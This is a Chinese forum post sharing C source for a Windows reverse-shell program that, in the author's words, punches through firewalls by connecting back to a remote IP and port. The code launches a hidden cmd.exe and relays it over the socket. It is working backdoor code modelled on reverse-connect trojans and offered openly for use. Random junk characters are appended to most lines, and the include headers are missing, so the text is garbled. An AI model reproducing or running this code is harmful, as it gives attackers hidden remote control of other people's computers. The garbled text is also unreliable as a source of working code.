这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G6K;3B
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/* ============================== n B4)%
Rebound port in Windows NT ^]c/hb|X
By wind,2006/7 n^P=a'+
===============================*/ Cc*"cQe
#include s\QhCS
#include p6m](Jg
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#pragma comment(lib,"wsock32.lib") ?hUC#{
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void OutputShell(); U ^1Xc#Ff
SOCKET sClient; (+7gS_c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A5-y+
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void main(int argc,char **argv) f1MKYM%^x
{ '7G'R
WSADATA stWsaData; *0]E4]ZO
int nRet; bOjvrg;Sz\
SOCKADDR_IN stSaiClient,stSaiServer; gX<"-,5jc
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if(argc != 3) ry9%Y3
{ 3a PCi>i!_
printf("Useage:\n\rRebound DestIP DestPort\n"); :e> y=
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return; lJ.:5$2H
} e3w4@V`
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WSAStartup(MAKEWORD(2,2),&stWsaData); z=1 J{]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xCwd*lsM
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stSaiClient.sin_family = AF_INET; `|K30hRp:
stSaiClient.sin_port = htons(0); )6U&^9=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1gk{|keh
({ 'I;]AQ
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I>ks H
{ .),ql_sXr
printf("Bind Socket Failed!\n"); rX*4$d0
return; ipU,.@~#
} oC0K!{R*
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stSaiServer.sin_family = AF_INET; Q\>9PKK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $g&,$7}O_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g4USKJ19.
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lZoy(kdc
{ P 1`X<A
printf("Connect Error!"); d`]|i:*q
return; ,ErJUv
} F<SMU4]YdG
OutputShell(); ph\KTLU
} `s
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void OutputShell() d]Y-^&]{]
{ df@I C@`pB
char szBuff[1024]; eytd@-7uX
SECURITY_ATTRIBUTES stSecurityAttributes; <Stfqa6FJ
OSVERSIONINFO stOsversionInfo; RC(fhqV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9pAklD 4
STARTUPINFO stStartupInfo; =7%1]
char *szShell; _SU%ul
PROCESS_INFORMATION stProcessInformation; FPj j1U`C
unsigned long lBytesRead; r [; .1,(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8W' ,T
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y9W6e"
stSecurityAttributes.lpSecurityDescriptor = 0; yVA<-PlS<
stSecurityAttributes.bInheritHandle = TRUE; tMM*m
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?kBi9^)N4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AQX~do\A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AITV+=sN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W
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stStartupInfo.wShowWindow = SW_HIDE; Q1tZ]Q.6
stStartupInfo.hStdInput = hReadPipe; ?VC[%sjwn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 :O7c Br
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GetVersionEx(&stOsversionInfo); . ]
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switch(stOsversionInfo.dwPlatformId) &8VB{S>r
{ AKWM7fI
case 1: e}|UVoeH
szShell = "command.com"; 2c?-_OCy;
break; s7j#Yg
default: aju!A q54G
szShell = "cmd.exe"; Y:|_M3&'o
break; piq1cV
} a/d'(]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q'?{_
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send(sClient,szMsg,77,0); -$Y@]uf^
while(1) 8yr_A[S8.
{ l :sZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?UD2}D[M
if(lBytesRead) cEkf9:_La
{ qs\O(K8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A2Je*Gz
send(sClient,szBuff,lBytesRead,0); 29:1crzx~
} ` fw:
else )b<-=VR
{ z[xi
lBytesRead=recv(sClient,szBuff,1024,0); MQD%m ;[s
if(lBytesRead<=0) break; i3C5"\y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "Mt4~vy
} w!$|IC
} K$>C*?R
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return; C>%2'S^.b
}